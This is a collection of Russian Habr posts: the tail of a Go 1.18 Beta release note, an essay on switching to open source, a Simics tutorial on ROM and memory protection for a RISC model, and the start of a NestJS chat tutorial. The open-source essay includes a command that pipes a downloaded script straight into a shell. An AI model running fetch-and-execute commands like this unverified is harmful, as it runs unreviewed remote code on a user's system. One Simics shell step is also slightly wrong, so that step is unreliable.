В Go 1.18 Beta 1 добавлена нативная поддержка [фаззинга](https://go.dev/blog/fuzz-beta) для автоматического поиска входных данных, которые приводят к аварийному завершению программы или возвращают неверные ответы. Появился [режим](https://go.dev/design/45713-workspace) рабочего пространства Go, позволяющий работать с несколькими модулями одновременно, что важно для больших проектов.
Команда `go version -m`, которая теперь записывает детали сборки, например флаги компилятора. Программа может запрашивать данные о собственной сборке через [debug.ReadBuildInfo](https://pkg.go.dev/runtime/debug@master#BuildInfo), а также при помощи [debug/buildinfo](https://pkg.go.dev/debug/buildinfo@master) может читать данные о сборке из других двоичных файлов.
Эта функциональность должна стать основой любого инструмента, которому необходимо создать спецификацию ведомость материалов ПО (SBOM) для двоичных файлов Go.
В этом году в Go 1.17 была добавлена новая конвенция вызова на основе регистров, чтобы ускорить работу кода на системах x86-64. Go 1.18 Beta 1 расширяет данную возможность на ARM64 и PPC64, и это увеличивает скорость на 20%.
Спасибо всем, кто участвовал в создании этого релиза, и особенно команде Google, которая в течение многих лет неустанно работает, чтобы сделать дженерики реальностью. Это был долгий путь, мы очень довольны результатом и надеемся, что он понравится и вам. Более подробную информацию смотрите в [черновике](https://tip.golang.org/doc/go1.18) описания релиза Go 1.18. Как всегда, если вы заметили какие-либо проблемы, пожалуйста, [сообщите нам](https://go.dev/issue/new).
Научиться решать практические задачи на Go и других языках вы сможете на наших курсах:
* [Профессия Backend-разработчик на Go (12 месяцев)](https://skillfactory.ru/backend-razrabotchik-na-golang?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_go_151221&utm_term=conc)
* [Профессия Fullstack-разработчик на Python (15 месяцев)](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_151221&utm_term=conc)
Узнайте [подробности акции](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_151221&utm_term=conc).
Профессии и курсы**Data Science и Machine Learning**
* [Профессия Data Scientist](https://skillfactory.ru/data-scientist-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dspr_151221&utm_term=cat)
* [Профессия Data Analyst](https://skillfactory.ru/data-analyst-pro?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=analytics_dapr_151221&utm_term=cat)
* [Курс «Математика для Data Science»](https://skillfactory.ru/matematika-dlya-data-science#syllabus?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mat_151221&utm_term=cat)
* [Курс «Математика и Machine Learning для Data Science»](https://skillfactory.ru/matematika-i-machine-learning-dlya-data-science?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_matml_151221&utm_term=cat)
* [Курс по Data Engineering](https://skillfactory.ru/data-engineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_dea_151221&utm_term=cat)
* [Курс «Machine Learning и Deep Learning»](https://skillfactory.ru/machine-learning-i-deep-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_mldl_151221&utm_term=cat)
* [Курс по Machine Learning](https://skillfactory.ru/machine-learning?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=data-science_ml_151221&utm_term=cat)
**Python, веб-разработка**
* [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fpw_151221&utm_term=cat)
* [Курс «Python для веб-разработки»](https://skillfactory.ru/python-for-web-developers?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_pws_151221&utm_term=cat)
* [Профессия Frontend-разработчик](https://skillfactory.ru/frontend-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_fr_151221&utm_term=cat)
* [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_webdev_151221&utm_term=cat)
**Мобильная разработка**
* [Профессия iOS-разработчик](https://skillfactory.ru/ios-razrabotchik-s-nulya?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_ios_151221&utm_term=cat)
* [Профессия Android-разработчик](https://skillfactory.ru/android-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_andr_151221&utm_term=cat)
**Java и C#**
* [Профессия Java-разработчик](https://skillfactory.ru/java-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_java_151221&utm_term=cat)
* [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer-testirovshik-po?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_qaja_151221&utm_term=cat)
* [Профессия C#-разработчик](https://skillfactory.ru/c-sharp-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cdev_151221&utm_term=cat)
* [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-razrabotchik-na-unity-i-c-sharp?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_gamedev_151221&utm_term=cat)
**От основ — в глубину**
* [Курс «Алгоритмы и структуры данных»](https://skillfactory.ru/algoritmy-i-struktury-dannyh?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_algo_151221&utm_term=cat)
* [Профессия C++ разработчик](https://skillfactory.ru/c-plus-plus-razrabotchik?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_cplus_151221&utm_term=cat)
* [Профессия Этичный хакер](https://skillfactory.ru/cyber-security-etichnij-haker?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_hacker_151221&utm_term=cat)
**А также**
* [Курс по DevOps](https://skillfactory.ru/devops-ingineer?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=coding_devops_151221&utm_term=cat)
* [Все курсы](https://skillfactory.ru/catalogue?utm_source=habr&utm_medium=habr&utm_campaign=article&utm_content=sf_allcourses_151221&utm_term=cat) | https://habr.com/ru/post/595799/ | null | ru | null |
# 9 причин переходить на open-source
В данной статье я хочу указать несколько причин, почему компании любых масштабов должны переходить на open-source технологии. Я постараюсь указать моменты, выжные не только для разработчиков, но и для бизнеса (заказчиков). Оговорюсь, что речь идет не о конечных продуктах ПО, а о платформах — веб-серверах, прокси-серверах, базах данных и т. д. Статья носит неформальный характер, поэтому без цифр и графиков. Однако, их вы можете найти по некоторым ссылкам внизу. Я часто встречаю обсуждение преимуществ использования open-source продуктов на англо-язычных ресурсах, однако, в нашей стране их пока боятся.
Здесь нет полного исследования для принятия решения «использовать или нет». Например, приведены только аргументы «за». Однако, аргументы «против» вы все и так хорошо знаете. На каждый пункт можно найти анти-пример, но дело в статистике, которую вы сможете найти по ссылкам. Однако, на мой взгляд, эти аргументы лучше всего работают для веб-приложений.
Начнем по порядку:
Open-source приложения содержат меньше дефектов
-----------------------------------------------
К этому, также, относятся и дефекты безопасности (возможности эксплоитов). Почему это так? Над проектам с открытым исходным кодом работает большое количество разработчиков. Поэтому дефекты обнаруживаются и устраняются очень быстро.
Если вы любите объективные доказательства, вот, например, статья о сравнении количества багов в open-source и проприетарных продуктах от компании Coverity: [www.techrepublic.com/article/open-source-vs-proprietary](http://www.techrepublic.com/article/open-source-vs-proprietary/).
Как следствие:
Безопасность
------------
Когда-то считалось, что open-source проигрывает в безопасности проприетарным продуктам. Поставщики закрытого ПО часто пользуются именно этим аргументом. Однако, многочисленные независимые исследования показали, что сейчас открытое ПО является, в среднем, более безопасным, чем проприетарное.
С этим связано много факторов. Например, многие проблемы в безопасности можно обнаружить только наблюдая код непосредственно. Участники open-source сообщества находят и устраняют такие дыры, в то время как в проприетарном ПО такие дефекты могут оставаться незамеченными годами.
Ну и вообще — то, что вы никому не показываете свой код, не делает его лучше написаным.
Над open-source проектами работают энтузиасты
---------------------------------------------
Над проектами с исходным кодом работают программисты, которым нравится то, что они делают. Очень часто, они же используют эти проекты в свой работе. Я думаю, что тут все понятно. Отсюда, на самом деле, вытекают многие другие плюсы, которые описаны ниже.
Над open-source работают ленивые люди
-------------------------------------
Я имею ввиду “работают программисты”. “Программисты” == “ленивые люди”. Дело в том, что по-настоящему ленивый в нужную сторону программист всегда найдет возможность сделать свою работу проще и быстрее.
Во всем мире все уже давно поняли, что рутину всегда можно исключить. Если ты программист и выполняешь рутинную работу — задумайся, ты делаешь что-то не так.
Именно поэтому, веб-разработчики во всем мире выбирают консольный подход к выполнению задач (прощай, Windows), используют scaffolding, scripting.
Среди русских специалистов, почему-то, консоль не в чести, а зря — это путь к дзену и продуктивности.
Например, как развернуть приложение на платформе Meteor.js (http://meteor.com)?
```
$ curl https://install.meteor.com | /bin/sh
$ meteor create myapp
$ cd myapp
$ meteor
```
Все! У вас рабочее приложение, с базой данных уже крутиться на сервере. Одним простым движением вы может опубликовать свое приложение в интернете:
```
$ meteor deploy myapp.meteor.com
```
А теперь вопрос: как развернуть простейшее Java EE приложение? Плохой пример в контексте проприетарности, но все же. Приводить в пример развертывание среды Oracle ADF было бы совсем жестоко. Во-первых, вы не сможете сделать это в консоли (тянуть руку к мышке?! Ну нееет…). Вам, скорее всего, надо будет скачать и установить Eclipse, Idea или Netbeans. Потом вам надо скачать и установить Tomcat, Glassfish, WebLogic или что вы там еще используете для контейнера сервлетов. Запустить IDE, покликать немножко мышкой, и, если повезет, все заведется сразу!
В это время разработчик на meteor.js уже сделал функциональное приложение (http://www.smashingmagazine.com/2013/06/13/build-app-45-minutes-meteor).
Поддержка через комьюнити
-------------------------
Высокое руководство часто выбирает проприетарные продукты именно из-за наличия контрактов на поддержку. Я не раз слышал восклицания в стиле “У нас же партнерский контракт с …! А вот будут проблемы с этим backbone-ом, что будем делать?”.
На самом деле, крупные мейнстрим проекты имеют вокруг себя большое комьюнити, которое всегда готово помочь в решении вопросов, в то время как, не смотря на наличие контрактов, запросы в службу поддержки, например, Oracle, могут оставаться нерешенными месяцами.
Комьюнити состоит из таких же, как вы, разработчиков, с теми же проблемами, с которыми уже, наверное, кто-то встречался.
Да и вообще, в случае с open-source, у программистов всегда есть возможность решить проблему самому, о чем следующий пункт.
Возможность внести вклад в развитие проекта
-------------------------------------------
В отличие от проприетарного ПО, в open-source проект вы сами можете внести изменения. Конечно, для бизнеса это не аргумент (“Почему мы должны тратить время на развитие чужого проекта?”). Однако, для самих специалистов это очень полезный и приятный опыт. К тому же, как я уже упомянул выше, проблемы с блокирующими дефектами могут решаться, в таком случае, значительно быстрее.
Выше скорость разработки
------------------------
Время вывода продукта на рынок (Time To Market, [en.wikipedia.org/wiki/Time\_to\_market](http://en.wikipedia.org/wiki/Time_to_market)) значительно ниже, что напрямую следует из пунктов 2 и 3.
Дёшево
------
No comments.
Более того, проприетарные продукты тянут из вас деньги постоянно и пропорционально масштабам вашей инфраструктуры.
Возможность быстро адаптироваться
---------------------------------
Сейчас технологии быстро меняются и развиваются. Открытые проекты, как правило, больше приспособлены к изменениям, чем проприетарное ПО.
Возможность выбора
------------------
Выбирайте платформе основываясь не на том, какие партнерские контракты у вас есть, а на том, какую задачу вы хотите решить. Перед вами — весь спектр платформ и вы не зависите от чьих-то планов на релизы.
Полезно почитать на эту тему:
* [www.techrepublic.com/article/open-source-vs-proprietary](http://www.techrepublic.com/article/open-source-vs-proprietary/)
* [www.linuxfoundation.org/publications/linux-foundation/collaborative-development-trends-report-2014](http://www.linuxfoundation.org/publications/linux-foundation/collaborative-development-trends-report-2014)
* [www.huffingtonpost.com/vala-afshar/10-reasons-to-use-open-so\_b\_5766718.html](http://www.huffingtonpost.com/vala-afshar/10-reasons-to-use-open-so_b_5766718.html)
* [www.huffingtonpost.com/vala-afshar/red-hat-cto-5-business-be\_b\_5309043.html](http://www.huffingtonpost.com/vala-afshar/red-hat-cto-5-business-be_b_5309043.html)
* [www.acquia.com/blog/open-source-value-proposition](http://www.acquia.com/blog/open-source-value-proposition)
* [www.slideshare.net/mjskok/2014-future-of-open-source-8th-annual-survey-results](http://www.slideshare.net/mjskok/2014-future-of-open-source-8th-annual-survey-results) | https://habr.com/ru/post/240041/ | null | ru | null |
# Simics: кто не RISC-ует, тот не выигрывает
Добро пожаловать на очередной шабаш любителей испортить себе жизнь странным хобби! Репортаж с предыдущей вечеринки вы можете найти [по ссылке](https://habr.com/ru/company/auriga/blog/582350/). На ней мы практически «с нуля» создали модель начального уровня встраиваемого контроллера на базе RISC-процессора. Сегодня мы с вами будем добавлять ~~ром~~ ROM и попробуем обзавестись сравнительно несложной защитой памяти. И правда, что за встраиваемая система без ПЗУ? Прежде чем мы это сделаем, неплохо бы набросать некоторые детали конечной архитектуры нашей системы. Почему сейчас? Потому что ROM нужно будет разместить по каким-то адресам, как-то нужно будет управлять логикой защиты памяти, оставить что-нибудь «на вырост» и при этом где-то должно быть ОЗУ. Впрочем, описание будет небольшим ;-)
 *Сначала был план, так повелел Джордан
Роберт Хайнлайн «Пасынки Вселенной»*
### План
Набросаем, хотя бы минимально, архитектуру нашей системы. В частности, карту памяти. Чтобы не усложнять, воспользуемся стандартным MMIO (Memory Mapped Input Output) подходом, при котором регистры и другие ресурсы устройств (например FIFO, SRAM) доступны по адресам обычной памяти. Скажем, за это будут отвечать первые 64кб. Начиная с 64кб разместим ПЗУ. Размер ПЗУ установим 256 килобайт. Далее разместим ОЗУ размером 4Мб – его постоянно не хватает, и так его будет проще наращивать. Итого:
### Добавляем RoM
Вернемся к модели. Извлечем файл компоненты *myrisc\_comp.py* и посмотрим на реализацию подключения памяти (RAM):
```
...
mem = self.add_pre_obj('ram', 'ram')
mem_image = self.add_pre_obj('mem_image', 'image')
mem_image.size = self.mem_size.val
mem.image = mem_image
phys_mem.map = ...
```
Добавим ROM и оставим MMIO-окно:
```
DEF_RAM_SIZE = 0x400000
DEF_MMIO_SIZE = 0x10000
DEF_ROM_SIZE = 0x40000
...
rom = self.add_pre_obj('rom', 'rom')
rom_image = self.add_pre_obj('rom_image', 'image')
rom_image.size = DEF_ROM_SIZE
rom.image = rom_image
phys_mem.map = [[DEF_MMIO_SIZE, rom, 0, 0, DEF_ROM_SIZE],
[DEF_MMIO_SIZE+DEF_ROM_SIZE, mem, 0, 0, self.mem_size.val]
...
```
Обратите внимание: мы разместили ROM, начиная с адреса *0x10000*, оставив, таким образом, диапазон адресов *0x0...0xFFFF* для регистров ввода-вывода.
Скомпилируем и посмотрим что у нас получилось. Запустим Simics и загрузим модель используя подготовленный ранее скрипт:
```
simics> run-command-file "%simics%/targets/myrisc.simics"
Status of controller [class RISC_controller]
============================================
Setup:
Top component : controller
Instantiated : True
System Info :
Attributes:
freq_mhz : 40
mem_size : 4194304
Connections:
```
Попробуем записать и прочитать по адресам RAM и ROM:
```
simics> output-radix 16
simics> controller.phys_mem.write(0x10002, 0xFFFF)
simics> controller.phys_mem.read(0x10002)
0x0 (BE)
simics> controller.phys_mem.write(0x50002, 0xFFFF)
simics> controller.phys_mem.read(0x50002)
0xffff (BE)
```
ROM ведет себя ожидаемо - попытки записи просто игнорируются. Из этого следует, что по меньшей мере, функционально все запрограммировано правильно.
А как же узнать по каким адресам что расположено? Вот так — объект *phys\_mem* представляет собой адресное пространство и у него есть свойство *map*, которое мы настраивали выше. Что и как «намаплено» можно посмотреть одноименной командой этого объекта:
```
simics> controller.phys_mem.map
┌───────┬──────────────┬──┬──────┬────────┬──────┬────┬─────┬────┐
│ Base│Object │Fn│Offset│ Length│Target│Prio│Align│Swap│
├───────┼──────────────┼──┼──────┼────────┼──────┼────┼─────┼────┤
│0x10000│controller.rom│ │ 0x0│ 0x40000│ │ 0│ │ │
│0x50000│controller.ram│ │ 0x0│0x400000│ │ 0│ │ │
└───────┴──────────────┴──┴──────┴────────┴──────┴────┴─────┴────┘
```
Но отладка встраиваемой системы предполагает регулярную перезапись firmware, как часть процесса разработки. А как нам записать в наш ROM что-нибудь полезное? В Simics есть замечательная возможность - без затей, прямо «подгрузить» двоичный файл по заданному адресу памяти. Я приведу изменения в файле *myrisc\_comp.py,* аполностью файлы проекта можно посмотреть на [Github-е](https://github.com/Porro66/simics-risc-it.git):
```
DEF_RAM_SIZE = 0x400000
DEF_MMIO_SIZE = 0x10000
DEF_ROM_SIZE = 0x40000
class RISC_controller(StandardConnectorComponent):
"""Base class for RISC controller."""
...
class firmware(SimpleConfigAttribute('', 's')):
"""Controller's firmware file to use."""
def lookup(self):
if self.val:
lookup = simics.SIM_lookup_file(self.val)
if not lookup:
print('firmware file %s is not found' % self.val)
return ''
return lookup
return self.val
...
class component(StandardComponent.component):
def pre_instantiate(self):
return self._up.pre_instantiate_controller()
def post_instantiate(self):
self._up.post_instantiate_controller()
def pre_instantiate_controller(self):
return True
def post_instantiate_controller(self):
self.load_firmware();
...
def add_objects(self):
cpu_core = self.add_pre_obj('cpu_core', 'sample-risc-core')
cpu = self.add_pre_obj('cpu', 'sample-risc')
cpu.freq_mhz = self.freq_mhz.val
cpu.current_risc_core = cpu_core
cpu_core.sample_risc = cpu
phys_mem = self.add_pre_obj('phys_mem', 'memory-space')
phys_mem.map = []
cpu_core.physical_memory_space = phys_mem
mem = self.add_pre_obj('ram', 'ram')
mem_image = self.add_pre_obj('mem_image', 'image')
mem_image.size = self.mem_size.val
mem.image = mem_image
phys_mem.map += [[DEF_MMIO_SIZE+DEF_ROM_SIZE, mem, 0, 0, self.mem_size.val]]
# Firmware
rom = self.add_pre_obj('rom', 'rom')
rom_image = self.add_pre_obj('rom_image', 'image')
rom_image.size = DEF_ROM_SIZE
rom.image = rom_image
phys_mem.map += [[DEF_MMIO_SIZE, rom, 0, 0, DEF_ROM_SIZE]]
def load_firmware(self):
if self.firmware.lookup():
# Load the firmware into the ROM area
simics.SIM_load_file(self.get_slot('phys_mem'), self.firmware.val,
DEF_MMIO_SIZE, DEF_ROM_SIZE, True)
...
```
Что мы видим? При инстанциации объекта контроллера в память по адресу *DEF\_MMIO\_SIZE* (код метода *load\_firmware*) записывается содержимое файла, передаваемое в модель через атрибут *firmware*. Чтобы не перегружать код примера, я оставил «за бортом» проверку размера файла (если он будет больше, то «залезет» в адреса ОЗУ). Кроме того, хотя мы в настоящем примере загружаем двоичный файл, никто не мешает нам читать текстовый шестнадцатеричный-дамп, srec-файл и т. д., да хоть настоящий ROM можно считывать — *Python*-с, господа.
Операция по вживлению ROM не будет выглядеть завершенной без некоторых изменений в нашем стартовом скрипте, файле *myrisc.simics*:
```
load-module myrisc-comp
$controller=(create-RISC-controller name="controller" firmware="%simics%/targets/risc.bin")
instantiate-components
output-radix 16
controller.status
```
Первое изменение касается собственно ROM, второе добавлено для удобства. Не знаю, кому как, но мне надоело вводить *«output-radix 16»* руками ;-)
Время проверить, как это все взлетает… Секунду, у нас нет пока файл firmware! Не беда: пока мы не запускаем реальные программы для наших целей вполне хватит файла, заполненного произвольными данными. Создадим файл *risc.bin* в каталоге *targets* нашего дерева проекта:
```
$> head -c 256k risc.bin
```
Запустим симуляцию и прочитаем содержимое ПЗУ по его начальному адресу:
```
simics> run-command-file "%simics%/targets/myrisc.simics"
…
simics> controller.phys_mem.examine-memory 0x10000 size=32
p:0x00010000 b225 241c a820 f6dd 55e2 977c bc24 1979 .%$.. ..U..|.$.y
p:0x00010010 4f01 1bb8 30ac b077 00b2 55be 9b28 b3a1 O...0..w..U..(..
```
Уже не 0, это радует. Если же заглянуть в сгенерированный файл, то это как раз те данные, которые там лежат, только порядок байт различается. Оно и правильно, хост система на процессоре Intel, а симулируем мы RISC big-endian:
```
$> hexdump risc.bin -n 32
0000000 25b2 1c24 20a8 ddf6 e255 7c97 24bc 7919
0000010 014f b81b ac30 77b0 b200 be55 289b a1b3
```
Вот так, достаточно рутинно, можно заставить наш встраиваемый контроллер обзавестись прошивкой.
### Даже самому смелому ОЗУ нужна защита
Даже в небольшой системе у нас может присутствовать какой-либо монитор, гипервизор или же другое ядро, которое управляет загрузкой, диспетчеризацией, предоставляет API, в общем, играет роль операционной системы. И для надежной работы этого кода, неплохо было бы как-то защитить его структуры данных в ОЗУ. Добавим примитивную защиту памяти. Защищать будем два региона например, часть MMIO-области и область со структурами данных монитора. Для этого нам понадобится по паре регистров для определения каждого защищаемого региона и по регистру для управления.
В каталоге *modules* дерева Simics создадим папку *mem-mng* и в ней файлы — *Makefile*, *module\_load.my* и *mem-mng.dml.*
*Makefile:*
```
# -*- Makefile -*-
# Simics module makefile
#
MODULE_CLASSES = mem_mng
SRC_FILES = mem-mng.dml
PYTHON_FILES = module_load.py
SIMICS_API := 6
THREAD_SAFE:= yes
include $(MODULE_MAKEFILE)
```
Файл *module\_load.my* практически пустой. В дальнейшем, в нем можно будет разместить различные дополнительные команды, связанные с управлением памятью*:*
```
#
device_name = "mem_mng"
```
Ну и самый интересный файл *mem-mng.dml —* собственно модель устройства управления защитой памяти:
```
dml 1.4;
device mem_mng;
import "simics/devs/translator.dml";
import "simics/devs/memory-space.dml";
param TOTAL_PROTECTED_AREAS = 2;
template simple_map_target {
is connect;
session const map_target_t *map_target;
method set(conf_object_t *obj) {
default(obj);
map_target = SIM_new_map_target(this.obj, NULL, NULL);
}
}
connect mem_tgt {
param documentation = "Memory for default access";
param type = "o";
param required = true;
interface memory_space;
is simple_map_target;
}
connect unmapped_ff {
param documentation = "Dummy memory";
param type = "o";
param required = true;
is simple_map_target;
}
bank mmng {
param register_size = 4;
group range[i < TOTAL_PROTECTED_AREAS] {
register ctrl @ 0x0 + 3 * 4 * i {
field En @ [0:0];
field Rsvd @ [31:1];
}
register ladr @ 0x4 + 3 * 4 * i;
register hadr @ 0x8 + 3 * 4 * i;
}
}
port mem_decoder {
implement translator {
method translate(physical_address_t SA, access_t access,
const map_target_t *default_target) -> (translation_t) {
local translation_t trans;
local bool access_denied = false;
local int i;
if ((access & Sim_Access_Write) != 0) {
for (i = 0; i < TOTAL_PROTECTED_AREAS; i++) {
if (mmng.range[i].ctrl.En.val == 1
&& SA >= mmng.range[i].ladr.val
&& SA <= mmng.range[i].hadr.val) {
access_denied = true;
log info, 4:
"Address 0x%lx hits range %d - 0x%lx:0x%lx",
SA, i, mmng.range[i].ladr.val,
mmng.range[i].hadr.val;
break;
}
}
}
if (access_denied) {
log info, 4: "Address 0x%lx access denied", SA;
trans.base = SA;
trans.start = 0x0;
trans.size = 1;
trans.target = unmapped_ff.map_target;
} else {
trans.base = 0x0;
trans.start = 0x0;
trans.target = mem_tgt.map_target;
}
return trans;
}
}
}
```
Устройство представляет собой транслятор адресов, который мы подключим одним «концом» к собственному адресному пространству транслятора, другим к адресному пространству ОЗУ. Подключение будем производить в том же модуле *myrisc\_comp.py.* Я приведу только важный участок кода:
```
def add_objects(self):
...
unmapped_ff = self.add_pre_obj('unmapped_ff', 'set-memory')
mem_mng = self.add_pre_obj('mem_mng', 'mem_mng') # "memory controller"
ram_space = self.add_pre_obj('ram_space', 'memory-space')
mem_image = self.add_pre_obj('mem_image', 'image')
mem_image.size = self.mem_size.val
mem = self.add_pre_obj('ram', 'ram')
mem.image = mem_image
mem_space = self.add_pre_obj('mem_space', 'memory-space')
mem_space.map = [[0, mem, 0, 0, self.mem_size.val]]
mem_mng.mem_tgt = mem_space
mem_mng.unmapped_ff = unmapped_ff
ram_space.default_target = [[mem_mng, 'mem_decoder'], 0, 0, mem_space]
phys_mem.map += [[MPROT_PORTS_ADDR, [mem_mng, "mmng"], 0, 0, MPROT_PORTS_SIZE, None, 0, 4],
[DEF_MMIO_SIZE+DEF_ROM_SIZE, ram_space, 0, 0, self.mem_size.val]
```
Что я сделал? Я создал адресное пространство *mem\_space*, к которому подключил объект, моделирующий ОЗУ (строка *mem\_space.map=...*), адресное пространство *ram\_space*, с подключенным транслятором адресов mem\_mng, и адресное пространство ОЗУ (объект *mem\_space*) в качестве конечного получателя адреса. После чего заменил подключение ОЗУ (объект *mem*) к физическому адресному пространству на адресное пространство транслятора адресов (объект *ram\_space*). Получился эдакий «паровозик»: *phys\_mem→ram\_space→mem\_mng→mem\_space→mem.* Благодаря этому мы встроились в цепочку обращений по адресной шине между процессором и ОЗУ и можем контролировать к каким адресам можно обращаться, а к каким — нет.
Отдельное внимание следует обратить на строку содержащую код: *[MPROT\_PORTS\_ADDR, [mem\_mng, "mmng"], 0, 0, MPROT\_PORTS\_SIZE, None, 0, 4].* Это одно из ключевых изменений. Данный код отвечает за подключение в адресное пространство процессора регистров управления защитой как MMIO.
Соберем:
```
$> make mem-mng
$> make myrisc_comp
```
Запустим. Посмотрим, как выглядит распределение памяти:
```
simics> controller.phys_mem.map
┌───────┬───────────────────────┬──┬──────┬────────┬──────┬────┬─────┬────┐
│ Base│Object │Fn│Offset│ Length│Target│Prio│Align│Swap│
├───────┼───────────────────────┼──┼──────┼────────┼──────┼────┼─────┼────┤
│ 0x0│controller.mem_mng:mmng│ │ 0x0│ 0xc│ │ 0│ 4│ │
│0x10000│controller.rom │ │ 0x0│ 0x40000│ │ 0│ │ │
│0x50000│controller.ram_space │ │ 0x0│0x400000│ │ 0│ │ │
└───────┴───────────────────────┴──┴──────┴────────┴──────┴────┴─────┴────┘
```
Запрограммируем защиту — защитим область ОЗУ между адресами 0x200...0x400 (абсолютные 0x50200...0x50400):
```
simics> controller.phys_mem.write(0, 0x1000000)
simics> controller.phys_mem.write(4, 0x0020000)
simics> controller.phys_mem.write(8, 0x0040000)
```
Надеюсь, что «программирование» защиты достаточно прозрачно. Попробуем «пробить»:
```
simics> log-level 4
New global log level: 4
simics> controller.phys_mem.write(0x50200, 0xFFFFF)
[controller.mem_mng.port.mem_decoder info] Address 0x200 hits range 0 - 0x200:0x400
[controller.mem_mng.port.mem_decoder info] Address 0x200 access denied
[controller.mem_mng.port.mem_decoder info] Address 0x201 hits range 0 - 0x200:0x400
[controller.mem_mng.port.mem_decoder info] Address 0x201 access denied
[controller.mem_mng.port.mem_decoder info] Address 0x202 hits range 0 - 0x200:0x400
[controller.mem_mng.port.mem_decoder info] Address 0x202 access denied
[controller.mem_mng.port.mem_decoder info] Address 0x203 hits range 0 - 0x200:0x400
[controller.mem_mng.port.mem_decoder info] Address 0x203 access denied
simics> controller.phys_mem.read(0x50200)
0x0 (BE)
```
И за пределами диапазона 0x50200...0x50400:
```
simics> controller.phys_mem.write(0x50404, 0xFFFFF)
simics> controller.phys_mem.read(0x50404)
0xfffff (BE)
```
Смотри-ка, работает! Точно также действия по программированию защиты должен будет выполнить код прошивки или самого монитора.
### Получился осьминожек
Ну вот, с этим уже можно поиграть. Любопытные могут заглянуть в код simple-risc процессора, чтобы выяснить, какие команды он поддерживает. Написать на этом ассемблере пару команд. Вручную транслировать их в двоичный вид, записать в наше ПЗУ и даже заставить нашего подопечного выполнить этот код при старте — чем это вам не модель встраиваемой системы? Двадцать лет назад именно так и поступали, только с применением паяльника. Въедливый читатель укажет мне, что мы получили «вещь в себе» и назначение встраиваемой системы быть «встроенной» куда-нибудь и как-то взаимодействовать с этим чем-нибудь. Ваша правда, нам явно не хватаем внешних интерфейсов. Но об этом в следующей статье.
**P.S.** Я рад, что кто-то не только читает, но и пытается пойти дальше и сделать из этого нечто полезное для себя. Так, один из читателей обратил внимание на ошибку, сделанную мной в коде еще для первой статьи. Не то, чтобы она как-то мешала восприятию, однако запустить симуляцию командной Simics *run* не получиться :-( Ошибка состоит в том, что я предположил (и не проверил), что модель процессора *sample-risc* содержит собственные часы (тактовый генератор), а это не так. Однако Dmitry L. предложил простой патч (который уже внесен в код на [Github-е](https://github.com/Porro66/simics-risc-it/tree/stage2)) в файл *myrisc\_comp.py*:
```
...
def add_objects(self):
clk = self.add_pre_obj ('clk' , 'clock')
clk.freq_mhz = self.freq_mhz.val
cpu_core = self.add_pre_obj('cpu_core', 'sample-risc-core')
cpu_core.queue = clk
...
```
Он добавляет в модель контроллера "тактовый генератор" и разрешает исполнять реальный код. Например, как это сделал Dmitry L.:
```
simics> controller.phys_mem.write(0x0, 0x60000000)
simics> controller.cpu_core.disassemble address = 0
v:0x0000000000000000 p:0x0000000000000000 0x60000000 add r0 + r0 + 0x0 -> r0
simics> controller.cpu_core->pc = 0
simics> controller.cpu_core->r0 = 2
simics> controller.cpu_core->r0
0x2
simics> run 700
simics> controller.cpu_core->r0
0x4
```
Dmitry, Спасибо!
 | https://habr.com/ru/post/585180/ | null | ru | null |
# Приложение для чата в реальном времени с помощью Nestjs и PostgreSQL
[](https://habr.com/ru/company/ruvds/blog/672848/)
При помощи этого руководства вы научитесь добавлять функции чата в реальном времени в ваше веб-приложение Nestjs с использованием веб-сокетов. Мы создадим само приложение для чата, а также сохраним чаты пользователей в базе данных PostgreSQL.
Код этого туториала выложен в моём [репозитории GitHub](https://github.com/icode247/Chat-with-Nestjs), можете клонировать его.
▍ Что такое NestJS?
-------------------
[NestJS](https://nestjs.com/) — это фреймворк Node.js для создания быстрых, тестируемых, масштабируемых, слабосвязанных серверных приложений, использующих TypeScript. Он использует такие мощные фреймворки HTTP-серверов, как Express или Fastify. [Nest](https://dzone.com/articles/nestjs-a-backend-nodejs-framework-for-the-enterpri) добавляет слой абстракции фреймворкам Node.js и открывает их API разработчикам. Он поддерживает такие системы управления базами данных, как [PostgreSQL](https://dzone.com/refcardz/essential-postgresql) и [MySQL](https://dzone.com/articles/mysql-tutorial-a-beginners-guide-to-learn-mysql). Также NestJS обеспечивает инъекции зависимостей Websockets и APIGetaways.
▍ Что такое a WebSocket?
------------------------
WebSocket — это компьютерный протокол связи, обеспечивающий полнодуплексные каналы связи по одному TCP-соединению. В 2011 году IETF стандартизировал протокол WebSocket как RFC 6455. Текущая спецификация называется HTML Living Standard. В отличие от HTTP/HTTPS, [WebSockets — это stateful-протоколы](https://dzone.com/articles/what-the-heck-are-websockets), то есть установленное между сервером и клиентом соединение будет существовать, пока его не прервёт сервер или клиент; как только соединение WebSocket закрывается одной стороной, это распространяется на другую сторону.
